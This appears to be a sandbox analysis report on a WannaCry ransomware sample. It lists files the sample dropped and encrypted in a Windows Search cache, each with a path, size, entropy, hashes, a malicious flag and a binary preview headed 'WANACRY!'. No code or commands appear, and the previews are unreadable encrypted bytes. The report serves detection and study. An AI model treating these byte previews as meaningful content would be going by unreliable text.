                                      Preview:WANACRY!....."{....D8.....K.b0.2.+i~.i.A.....@....3.......d..I}#w6}T....f.V....i...!.\b....."a..E...i..[....X...LkZ.A$..u.?.v3.&.bT....N..\..3,..`.N]3>.....'.;v.P....\..m..4..wO....!.M.x6.V.i.>^..ka<._~.j."...B9..H.x..j..<....D.U...<.a.N.U..B.b#P........xM.t.d.............=N....k...O(..OA...}....b.xu...p.j"U^.'.O.q.k.P..S:.`...d..{....L...N..r?..P.b...%!.M4.m].....K^.C.l...v.$s:v2...N.W.m...p%.X..-'~...G<r.vf.K...S....U'$..P:.4.>..^...C.y....4N...@......w..P./..x:*....#>.1...(f. ...!....7o..P....:.8Q3.Zd.Ry.?m.Y....q,....j..o@..=.....&:...`.7.8..d.G.*.\....1..p(].\.lu/..%C...mS~(b9.\....#..Vz.....t=O.).eC..........C..Z_...H.G.h.....zci.}t{....O/zV....c[G....E.*V......1I...U..Bw).0.$..`yX.~.+2rS...u. .^1.....4..._.Fu...U....!.....r.M...J{..&...duE.....G..h.`...3O..O....jr.;.W.......o>..?H.Jg.CXF......=.qj....n.:.pQ.m..>....Y..Go..]].....6..s(...8Ta..C....2:..8...8mA.[&vdk...D...0a.8.....4.o....eL..YT..|H}S...m...r.O.j.1...R.F3.:..7t.@.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_14[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):8008
                                      Entropy (8bit):7.975411399674818
                                      Encrypted:false
                                      SSDEEP:192:qUKorWpka06SUpHuSNnDxXQXPFmtM6Y/ZhwvB3U7eXUnE+BtQX:qU3nSpHuS9yXPFh6Y/XwdeyUnEitQX
                                      MD5:9670DCAD98671032AF7A78000F90B8BE
                                      SHA1:E1B8BD4E49D36716136F00B8024A48397BDB0DAC
                                      SHA-256:224A907E2C876E19BD469CF6B78A08796ECAA187AE492C32B6854F6314B90876
                                      SHA-512:CBA92D019FB2B397377E7BB68E0D7401B5EC59FF78581D4A87A4BBDEC6A125A40C5582581F2AEDC9C911ED89ED20181017D26DDACAF0A8FC2FF5B774C0674E29
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....n......I]...:.q.......O....1Iy.......dJ...z">.+..p...N.i2xK.{...}.\..p.T.+.P..,....F.F.1..m.QY.,..9T...W...N.q.tsv*.n.....H....=.Pwl)...[.?v....Ck..w...^.B..k....0..5)S...F....*av..k.T"_....^ ...>.-.=......;....S..c....0v..6.9..a..mk.4.'..I............3h.`R..O....L.c..r......t....A.~..+..vMj..mr.4.UE.bF.DF.5.l.....Q.<..'....4..Jn....r9.Q..q.".c.mm.sh.'E.......n...Y.....^wZ.....^%..a;.8..CMA.~.dZ9....'..#......\,....2A.k).6.m....ev..H.#,..l.1G..Q..ni..A.............-..M.l9..^.^6....e....S....@..N7..'...Y....g..n...E..\d].a.h..m....:.`.>Q}.......9.....s....z..C....(0|.5lX..6.w..?AE..O.{..V.t......z+..#.z..jw..B.f...@..#M.;.0Z......."[..G5 2...+..X|SR....,.7......l......9>.4...d..Cw..]....N..,0.Is;........$.....ePZ.w..:NT...^.)}..X.....sw...".Z.>..,....+....B.*N.....z......W....G.f.....$...(..(.:..X.q...8.\...(!.U.r..@...|Gn...]N.>a.P..c.2...c$........?Y.mWQc....^....'...P. |..:.-y.'.@.._...H6.^......E..ZT..h...S.;.0.O<..[.G.....C..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_15[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):123256
                                      Entropy (8bit):7.998640017218795
                                      Encrypted:true
                                      SSDEEP:3072:EPtxbTByigzxmb0ymUl3iaCmAdhRiU6rn494rxON5QfCabKYU:YtxxyigzxwPl3oBibVI5QfCa2x
                                      MD5:2E4CB9490334F540645073D889A6DD41
                                      SHA1:15E64304F76788B78F4B4890591CAFEB95FCADBB
                                      SHA-256:9155838ED67B33365F238A28A0F6F26220E5DF2DA464125F8148391E57F5ABE5
                                      SHA-512:DFEB773741B76749E58E92D55F331CDABF55F36EA8B7CB753736E4606354FDFFEE2417886090C7DAC93632F28F8ABB3A228A7F0EAD71FA6D57AB1573333F98E1
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!...."_...&@ hx...wO.......T1N.........,...^o....!.......'~q..-...R........aE....t..{.97..K6q[..T....M...$n.E2V.he3!.qs^.tN.J.M.4...v.....^.3.....-0....._."........8(;..8..i..A;'S..*nw.....>.UE.8_...F.F.OK.........V.).....n..k..0.')..I....4I....Z.......t..a....oTb.......z9U...d.....<..Y=..S...._J..r~...m.3'..w.......z......:...2.J.1....s...s..%i.%........%...yU.u...3..C.81.6 67*...'... ...#8.t..A...<.K9e.Z2S03..3b..br*.<81m....$. ....p0Y..T.o....rC.Z.`m...B.....@LR-.Bcm.._Z4....L.;.....Q.>...lt.....a..,.4..ZS._[BU........d.9.. .[.....E.$.$o....(...zo.....'..e...+:yL..$.S.@.jBW....i.p....i.4...$.>{"...Q.vvi..b+f..y...z.....M3.#.......d..oI.R..y."1.~. ..l3.P$I...Y.27.V.......8...(>xU.lpQ...]y....Q..,I.b..[._....ZK......y=.............J..J;&...l...~...+.2.IA......:M=.FS.=.......1......Yq...p....w..`.7.~....'..y.Q..av..r..@em....S}wE....w...s.}.6.>P&.?..g....>.'eY=%...........$.%UF.._....".%V..M...p%...}..9:R.d...Y..1..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_16[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):95112
                                      Entropy (8bit):7.997847337232124
                                      Encrypted:true
                                      SSDEEP:1536:r65dqrfi5wXVr/2oSfZjSw3YHuWfNtjauKMdKt/RQDlfcZKRrBszXUSPAxmIOvDc:rcypFSfPItOuKeKFRelUAdmbUXIaHEfY
                                      MD5:E551AFE6D8380AF92F7EA2F461537EE8
                                      SHA1:B72991E6C7CD7E3FEAEB7EDDD09E94527ED23CC8
                                      SHA-256:A7FA51F0E773B1C7E0894E9251E465DB5C41FB9E7C40F7750793B2C8317B9BC2
                                      SHA-512:C003322EEF598148FE5EFB3D6BDDF1E95AE6C638315A5ECCE26EAD096732E181772231ED7D6C5B86BB630C897B7DA9525B1C97BC4191FF1411EC10003A72972E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....u.}J.2.3.,.#..V...*.\RJ...=p....~:_..&;F<.>\*..........u..y...=s.W.6M......_...GB}.......`pT>[...<F..X/p.>.)...)......,..n3.k..HF&...c......Z.).2Aw.5..@.....:.l.Mok,..!..I.5.`...t:/....RCp....'.0...(&_K....0......_WPXXv.>b.p.mSW......t758...r....gr......{..'...T1.dG.....){Bq..F!.-l/.....N..&5....?T....eRUrkQ..X...Tj*Mm.n..{...@_f.....V.!..'... k.Gh..a.mr}..6...a.....{..=..'....V."n..\.*......6r......l.+...._u.t.aT..j......y..PT.I...xo..n..~x.o.(....hj..\.nwG...A1.3...........5.6.A....E...^..<C......X.......,...w....w|.....~.r)......`k.}x.....JI...x.!.o<...H...3..F...}M<y...Q#*..D..t.C.5.D.+C......~R..R..../......eF.;.E.vNOJ1;rH.pR...-~......s.mf/....).*/d.<.......L.X.."...H.=.O.+.u9.Y.M..0..._C.W+.e'.YW..$...B......a.!.......?....X..7..W.q".g.'G.,/.....8!o...;..Dc1...h.."!./...h...[.B}......3....[C...(~.4J_.PA..S...&o.I..k..."..%.>KJ1..S...6.7.... u2Z.j!.Y!|...r...AG.....H.).8B..f.no..dlI8.lq?*.E...7.y..t......8..t.......A.@Y.I`..'..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_17[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):6872
                                      Entropy (8bit):7.971868023462704
                                      Encrypted:false
                                      SSDEEP:192:SKxfZ7eEStEd4MvXUgJtmXa1GpEzpvEl8Ka:rdxxfUmCKzpvEK3
                                      MD5:D612F4A87EF7CE81FF6A81717AB07AF7
                                      SHA1:3468903A3E69F69141FC90CA469EA661232F76D6
                                      SHA-256:283B92D4EFD2422D6280806AE02B8FC48568436D6682C5EF6E81BCF3B73CAE47
                                      SHA-512:7F7F4A5EAF69428B49BCC2AB4EB6090DC2F51633414D89156C53C60270BF2A514E37CB5E57F400CD14C824CA4281A38F96AB15AD144838FD61F87E5C3DEFB869
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........O..2..z.....G..v|..X<..]...U.x.l.%.a...V..eZx.o.K.gl...aTc....y.u.y.B..!.i.L.].......|.."'...G.....T0...I.x..v.n...L#...n.IU.........Q.9.n,..d...7..a....;]#Q.@}Oe.m.....7..q!..J.C.$\q...+....K...J....K...I;?.n...e... ..Z.>]).).......kl.T.............l..!{.T..'.u{.9b...lA.C......]GJ..x]6.D......4. ..W..;....<...k..c.).:T..3A.....F...\.C...s......Y/._.ZIt........{.h../.{..#._E...........P..o.k...=Xx2...C..z..v}.w.q..}.5.t....y.1.5..!.W..3.....{Aji.9.....3B..k.....Da;.^.........eo Yy..K{.........O}....8m....q.2.. d#.&..1W.o1Z.v/ ....<2x ..v.)..Q..j<e.8..)..<?.......g..n.Q4.E.4.0f..9g1%..Fo......qJZ.......A.Jj.8..Q..0..d).V.._w.Ha.....b^..2`.....]!.[~T.;.O...G7-8...{n.;...B..I...!.B......i..Wp......8:..*.[...d%....W>nWT...}.?....L..k....lCv..F....Z.G.LN..I.#..(.b.N..1.AU.N......:P..(.`.!..T...T.\S.D.<u.U...;f.....*.J).....O......z..U.CW....M#...i..K..}B;.6..._g...UN..n.C.q.y...).[..fv.......;qUa.(........$.9^.y.5."..OZe .

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_18[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):122040
                                      Entropy (8bit):7.998506494857594
                                      Encrypted:true
                                      SSDEEP:3072:MPQG4wVDJgmEpVM7vHYty4m6P7OP0tHGT/:iQG40DGM7fYty4m6PW0ts
                                      MD5:FEB50D5ECC2C53BED8778DF86C503F57
                                      SHA1:E450FABD1FC770A0DCAA05BD116D55DFB87C5A2C
                                      SHA-256:631DA66FEBE07894F50D1E221768D35C155E0F3B5B0E62E7E6635BD3C7013FB7
                                      SHA-512:7C523D4D39EF90A9B210FAE58AAED9F263B0B01F3242B847A86BDD0645AF300303FC1B32ABDF5E4C1692954E3B0F2CCD99B0C3093D77C45CA4527166D2817538
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......G./j.4..H.A.:...v...`N.I...#9@!@...{"..h#.%/...7.n.....[.B..H..soY.....8&..l.!..iU..@..\.h......2.:Fv>K.5....hEy..W....5......A.U;...R:.....A.o"...T6.8I...22]..+.`.x^.....V@..g.'zZ.}]..F.j.......t2.......m...J...V.!.&.^....:Q?..4."................."...k..eN.$......H+.......X..,.U..7......{....'..).^.w.*.T......W.8".-&....;...6.J)j/....3........|....<bv.B.......u.Mx`...>)..%.{.....:8OL...l.+.Qk.0-E..5...c.."bd..S93r.W..[QZl[y...`...=.x..04.........`.Gi.@5w.'.x..l..5...3).6.:<.{..S.4..t...a...@a....0..R..#.x3D<6.A^....^.+z..{_...F...B.m..33.)>F........!5......0b.|...g...J..I..._.=.h.7Le'.........P.ZV..s.&.2L.y.pC..;>.W.S.xT.p..U.v....^D..Ut..w...G...$....fw.]udn..X...J."g(.........)......=..R.O..n.S.........W...#.N./.m!...|.......T...wy.....}>.....X....d....a*..}...A.F".Fmu.*&.L\u^.fE.....<.P...I..Z><....Zpjr.d.......,/.n..H..f.C.y.......$..@.,....R.b.m......@H#1.A...)E.....r78...E.._..N|5u.6gt..-].Z]...X.]..W.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_19[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):121496
                                      Entropy (8bit):7.998320410583468
                                      Encrypted:true
                                      SSDEEP:3072:JxzdElP5ba6c0Wba8f2UjC00WQD+RqPCY:Jxd0a6bW92UjCG0w07
                                      MD5:486D08A2A471232E9214A95B7887F4F1
                                      SHA1:58BB04131875BD097B8D3C3F8398F7038876E0CF
                                      SHA-256:F9998024785CF3552BEC715812D033374C82513CC62E1E82C1B2474D483A383A
                                      SHA-512:C0929072CF4287F6157EF76EA594D5ECEFE079B7DAEF5654ADA3D0E3F327EC1069464303A7131F8193B0BA124265B04F617B36036E27934A265C7261AAB10D76
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......;O.|.(.k).. 'T|.%.........aK.h.!....H.j.".B..;U..8.a.. .1^9+...D..<...G.zGx..r2..i.S?.!n...y7l.@i....gj..A...T.U.Q....j.Dk..$.&..1..I.C.'t..l$...X..h}.....@-Q..j.<....f.`.ln...'.R....RCN./.je.d.=.0...&x...&.d...[%Pl.hJ..1.5.B.A..k.U,.[/.N.F=..................l&.[..H.z..7.....X.x.s..'..M...."m<..u......a.<3.h..qE..O....yZ..X..B...#8J.A.dF.a$.de.f;!....` 3...d2..w..*..7.&.R.O6..:..........p.V..#.?./[...By..wyu.n..#~.P\h.... }..e.K....&CY..kx!q.<.b......w......X..A..._.......r,..8..5....a...z...'...[3&..=1;.i&B.p{...|3.|...Q...Sd:).mK&...Z...L\..1_y...+N.QsL.).[..ji...<.]:..../..:.j.h.d.`Z1.Q.h.`N..R_..r...N!JH.....7.}..........e+....).r.spi.~...v.a....N...-... ..0}fg.3r.6.)..5._........eY.v..w..J..(...u......p...Zh...i..D.4F....|,bS..E\U....y Y..%<............).+tD..[....1V...~p..U}..........rM.9K;A.iQ.u....KfQ.@...J.n.........1..d.g).R=5=..u..V.Gx...&....M|..-5.gT...@....-..q.`%,.....43$.._...8...N...2.?.......^.~.zQ.oV..f..#.$P...

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_20[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):65784
                                      Entropy (8bit):7.9973013244889275
                                      Encrypted:true
                                      SSDEEP:1536:QnlgnUo45NVoyZGzuBBJhx1Fu/PTssQWnqETUhncDgiU:QunuzVoycW/u/PTssTDghcDJU
                                      MD5:46459D02E4AC80A1C4385E60B66FB925
                                      SHA1:30A46098E58423BF52CF73415164CAE25239A775
                                      SHA-256:D1794BF5F5C4DF516381C2842C5C219305A90283E9C46F50C478A2CA4BE7EDF3
                                      SHA-512:E158A06BA9F8A02F859F155BAD2B9C8126242DC058541D6C5B89E00EBF32B429A0769A772F29FF33A0B6445DDE4E74873A3B219E46632B87BC0144E7698EFD49
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....MKH.."..fz...h[9Q(z.K(.'.........1.qE^yJ.VHM..#.,:.......v9....0s~51q.T}4...kQ}S........L...Sn.....x..C.R}. s7;v.}3..\......p.fWDG.)...E...O]..'R.......kB....p.K..j..#.#..;c.j.....)..].)...db].J2..}^..'./Q......1.....W.".....{.yWb..AJ6..}.Y.............oR...I|"..Nvd0......#....U..yk.t.....cP.C..C.............bW....f.8.0Q..^..#.*]L%I#.s..7..j..{.W....WN[)v9.2...<'!s...d2....[..s.C....pL'.\'.l...F%...`./I..6e...6..$.jx.[..2..|...$O.v.|Y..q....i.......^.....F...^ki..3%qX.^xk.....'.V.r......q...y>....B......O#.S..{^....G6.?.8..k....o.zt.l.#..['..[["8.AA.p..@<..6..c=7.<...=..b.D.....9..'.......EE.h..=..!`........3\\.... >Y..UU.U....p.#..\{.%......g....Z......1.V.O@.z..d..SWa.C}.W.Y9...dNU..".3m....xd...I..\?~..t.S.....^x.BF..4..U.......BIJMi.c.......q=.bI.%.....F_....w.><|(x.7oQ.Dx:.....aO..B.Q......`.r"....'..U..y...(r...t..8...^.Q.... Tq.&.(g..\.&....!.....3........R..T.p..)..p..-P.3..!.d.-.1T..].[..p.."..H...N...q.L..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_21[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):45800
                                      Entropy (8bit):7.995252861702846
                                      Encrypted:true
                                      SSDEEP:768:4AO4hZBz4RV21p1RQXpZgKMJ0mTUnJ3rXfQB9avh6WNQfXviKD:rOmZe2DbQXpWK8vTUnJ3roaJsfXv3
                                      MD5:7E8425397CDB9D2762FB67CF3E402D18
                                      SHA1:EAEFA082966D31F02DC35CFDF163B0FFA5E2232B
                                      SHA-256:3497C7F6F60F5862F6F09013CB6E02E6EE2838CECC46A4B7E67DAC2DB13A1484
                                      SHA-512:4E0B10F74B67CC3E159DF741CFD1A603D719B802C4B900612073DD48026E37424C3084A8A2FF7B84CA8271EBDEF35F620902F44E58EE14FCA4BB3D2212E69BEA
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....Y...E.LLR....Qu.; ..u*..]z.i>..Z....d^G....}.`.9WL...=2.Z.!]...+\47.m=.a.sOZa.,a.v...d.B."s..B.c.....oU....NUa..,..~q`5...a.g6r....L...(..D......n.4...o..yD5...%W..Lm..................%...?.3...=`_.o.b..7.I.+...T.Qwr...P...+.:..A..3s.&[.:...o..b,...........+..=.HD.W..sr.>.T.Z./.....9qFO.cw..a.Hn4v...t......2. DC..J.02%.X...@%/.!.z.Q..<.*.W[.i...;.....7Z..+.j4....5r.....#...1e.....J.E.my..d....1.Ab(i.........(4.&#.Gl.Z1.{=...G.y.. .|....t..m.<....(d.z.S...XG;.DAX-.a.k...t.6,......W..;K;...v.g..*5$L.R...&.4...u.....1....1UG.....AQ...6.hV.h...D.y..eL)...l...b....%z.....T.uY.....E.. .f.n..$..U..~Q%....hP.s.R..<..g......-Hj..~.e...8.2P.m....e......I.....Y..%....$...^.../.5J..j...0. 6..%..3..N_-|...s..Q!.I......,.j..Al.E.o...t/....{.`., ...R ........<~..c..M=..tO..2..{..p..P..H. ..2....g..q.....$!h"x|.:5W..~.0.....!yW... ~P...n.t.tx.:0.6G.l{.j.}.;V..5Gj4.t...c.4.. ..:.....S....`|.u,.J..Lq.o.$...}`...l...9............2U...9._..2.t4.\.s.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_22[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):202536
                                      Entropy (8bit):7.999100288774392
                                      Encrypted:true
                                      SSDEEP:3072:cyMnjzFzCyWv/c5FFMWxj+gMWhXfXqDc1SDwFJwnVbudMKq475q/Srv93V7dx:G3Fz5scFjj+j8Mc1S8cAdrt5qKrZV7dx
                                      MD5:D1DAE8B09F9E256DDC56EA65B230C1EB
                                      SHA1:55760A15DA087B7BB198039CBA85F9D79AFE6C87
                                      SHA-256:FBBD44861240294B80D3EEDF424AB316A07E5511399231EAB9BFED3F20E61D5D
                                      SHA-512:C7984650EE7CCC529F297F0620745A095F73B00485C6B5664BBC565EE1FA688B9168A50427F1DBF9CF3231CEF8B36DF246449E2B03D2A6F62CC3BBB8445B2A15
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....5..H...vC..........2...dp.#....v..w...]L....p..rN.w8 .*..y..dFOX...$...1W..m..e..e.1.I.a....`..T;iW...)@OGH..Us.f../..b.....\...M..1.........VB.....x..*(.i/.$....{.L...)..Z.._.K&.Y....*.O..._..F...'#F...Cy.L...VTU....E:...p=W..k.......q...............k....w..Q4pE.3..J......Y........g+..9.L.u......%.. .....v.!..M..........o..z.%#gbY...m...[m.>x...U.A....48..)E.S.>.$......5........v.B8.VF(..i......+L....,..[.F....3U.q.`@........;.I|2....^FINa..d.y]..p@.m3..."!..,.3?y+.%!@.P.k."..}...>..b...Fb..6o9. ..%....rt-..p.. -..fF...a.+h:...x.}.......W%.c....._...........1..."|b4.....1bX...l...L..a...$...B..5!e..B..|./e..3...%..T.R...a..,.,R@...}....;......-s.ey,S.h~..r.4.&....[.n*.,.......K$.....K.CS........_H..l...\U.c.....V.5-H..,j....5..f.{'.d.f........Y)e3.#<..F?.UZ...pp3..h@=o5^.y7.q.9r.._c.(=b..^n@.H..=...t..8). w..z....V....t..q. .1...v`.G.E|z~.^..........S.&,.......OA..3$..b.......H.<H3...Q8.o^.vv=V.A..L..#Y/9NU.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_23[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):16200
                                      Entropy (8bit):7.987983637852004
                                      Encrypted:false
                                      SSDEEP:384:pWtmBJHP7+JnDKS8AavHd0+4zLEtLgeAiw:0t6P7qnDKO8dSiw
                                      MD5:34B85BF63A06F6A222A24E4B021CF884
                                      SHA1:CD76E6E21F0D1C8D6469192168156D8AA8CC6F16
                                      SHA-256:E313D2A89388F45A46982F4EBCF002E1038CC4D58B65F1F82637C8ECB88A0267
                                      SHA-512:5D23EB73827328CAA3B69B86DD6DE751B34F9A101A4C20A035063B30C1941F45DC2A458070CC44E90B1BB2AD5823D91C5E1A6CCD831089DC340BA05D9549EA3C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....JT..;p.GR%R.&I!....H..O..Q...........7...2%....7.+.C.{.k\F..I..'.....\.B...~......-G.D.....C.n.LZ...L...\..f3....B..|.u..i'..7`.?.%....p...,.L.`..lk]..].....)2Mx+.............uF ..o..85..Y.u,.`PLtK>....9.\...#.tN.....3.....N...h/P....V...... .Z.G....+>.......i......z,.kP.W.]u....IVb.n..0....c.].E.e$.P...Q.1N.(.G..+K...$.`V.....tk.I.0.v"[....0 .z..ix./q........WvH$.k..!VQP.w..m...9.E..Dn\........"!.#.(O<...v#8...*.T*:a.C.q#.....3c......`....??.........I.qUi.....b..$BOg....'........>T.....}..H.j..9..G.<"AyA^....=...5..v.`.....?i.\.6..$..:.,....z.UD.K5rW...k....>..}..!..Ju72xhW?..r...n.c...x/..h...q..-.nu..=...1.......yK.A.X..>..........M......|.G.&.........0......L0....u;..{W.^\p......b...OK.m../.AR......R..._.......n.......~&.$..$./(9.i.n...|.g..SX..8.l....//Q1.."....eJn..q.t..!......=..u..d.....29"e....O...wKJ.1.L.1r.Ag..$....d.A+f.Z..ut..E.].. Aee..Y?{..n.z....,^&t......&@SM...hK|D!V.Ep.p#Z.wg=.KU9?..:8.K.mC#QTU.Du>I(..GkS..|..5.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_24[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):49160
                                      Entropy (8bit):7.996213821138876
                                      Encrypted:true
                                      SSDEEP:768:YQsqI/MVGC0+I0L1YqPELlwaX6KY2TPiF/JNLkkHFfqxIJMHqXL0ITOa/JOAiTVY:WqGx0L1z+H6KYaPiNLpHFfVMHJZAYu
                                      MD5:3F972498BAE804BD053FDE621CF72DFF
                                      SHA1:BB735C2ACF1A0BF96AB2163608A94D57CF056B11
                                      SHA-256:EEC17B1D0C5F5F5ECE4B919B27FFAA935B00BC06C48FD67A9D2DC7D08D311592
                                      SHA-512:128B349B715851FA79273F9D78729A5247B9F21D3B65701506D80C92A6C416F01747623D9E7D82EA3F458286F6ADB4FF0B308D92E1F8656AE53B0877A4287839
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.........!.u......8ip.P...'.....n_.8{../..j..Q...r. |A..+..h-.F.j^.x.r<..7.~K.3..F......z.6.6....t:$m...{N..._mi..9.....*...]gv...#*.Q.C.f...M.:..%.@....O.../...@..!......'.rfP><.....4..j.b..x.G..[.v.......G.M....D..p..a]....,!......!...+.\X.Q............@o......(:.rk....2J....K.I...8$..w...S..p(...z...4...s.U.?...76{p...gT8d.'.x|....6dW...G.......C.m|p..)oG".j..c.6..L..-.b..-{$|....@I.H..u...}...+.(.....1.......L.."...p.LS..@:...s....>..s.i..B............G[^.'|.)}.f!........Lqw.P....(.c".3s..../=...{g.....<...2.. ....++.).........Z.J...B.."43.g.T.m..'.\....-;.6...C.A.J.A....w ..J.@|..z....zc.vh.h.....|.#e...Y.u.DR.B8L.\` ...Z......e..$E.8.%a..B........5....Qw.1. 5Z.w.....'A...d......S.........!6P.oqka60.]h....%A...;qC4+F....`X.^.u....5..B".]......f.....1...r&.d$.qF.r....Yq.W.>...k..p."..r.......K;<.....j..c.*.- .c.Z..tW[.X.,.S.E0.......|.}.~.g.\..M....w.;........k.7..9.......8.hoS.(......e._..G..n....pu......h.e....#...q..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_25[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):40328
                                      Entropy (8bit):7.995162457251138
                                      Encrypted:true
                                      SSDEEP:768:ZKXqWd2YFV9AICFdc4z5sb0FUpylfz2CfbOIZcldpq13YfVqPw+fA1QjLKjnfHMf:KgMAImdN3IypAzq13Ytfhjbf+
                                      MD5:22622D42DEAAC07F79877F21B4641CFB
                                      SHA1:0D4958CEFC572764FBC274DB342F0D946E859106
                                      SHA-256:1E047F912AE4FE17C7797380DDEFE4A6B11D472524BEBFBA50773B3F7ACE00CD
                                      SHA-512:FBD157D89F44D1464B609F2D3320240EF78E2F3A59CAA68B77BD3B6EE0F652F8C96FE99D2924D3B7717442A4D4E3213DCDE301CFF0FAAD2275A2E59C658C866A
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!..........Zz..T..W...`8...9.X4.....4.|.u..;..i.....CR.$....|.u.4m.hJ.........f;T.A..6.,x..tO&..Y.T......<.-.wE^P...4..}..Z0;...r|s@..7...{Xmj....M.....VA...[.~.c.s6}....~...N.?..P...v.|......Q.E G.A........Oz.O...w...0#E1...dg........i-.U..W..../>U....n.......m..>.Dp!..y.,..3...4.GG.+9.Wc=.........f..@z_n.I...+x...#.V".....t'.....*.m.E?Zg.J!.X......f.hf....(.6..h..:x.*...='.......J.k*.w.....>"?67g.{.4....S`.e.K.....X....m.E.;B..TY.JDE....7h.t+...y...(.N?J.:..~Z..G.unb....)......l.....WY....w..>?$......C...J....o\.^a...hGW;<.../+.....(.~c........s.>.'...+......g.W4s...!.l...E.#.M..V...iI..?.M..l.cuz*..i..5.<.....f.D....s`C.@.....K5....P{-DYgzU....c.j.>..%.....D...I.9.5ed....;Zo......1.*..pIh@C.R.....g.H.D....K...d...f...zG..2F...#XO.5P92-.A1w.X/.....}.....B.!....G..Qb.s...h._...>.bZR.q....$i.{B\lSX.p..+.....W%.z.k.....F...Q...r...\..wE...t&...nz..b.N.)....2..._>..Nw9.2.L...+..).pb.F.x......9/G^u;..B[....Q>..a..a.Bx.a20.t.y...\.M..B.....

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_26[1].txt.WNCRYT

                                      Download File
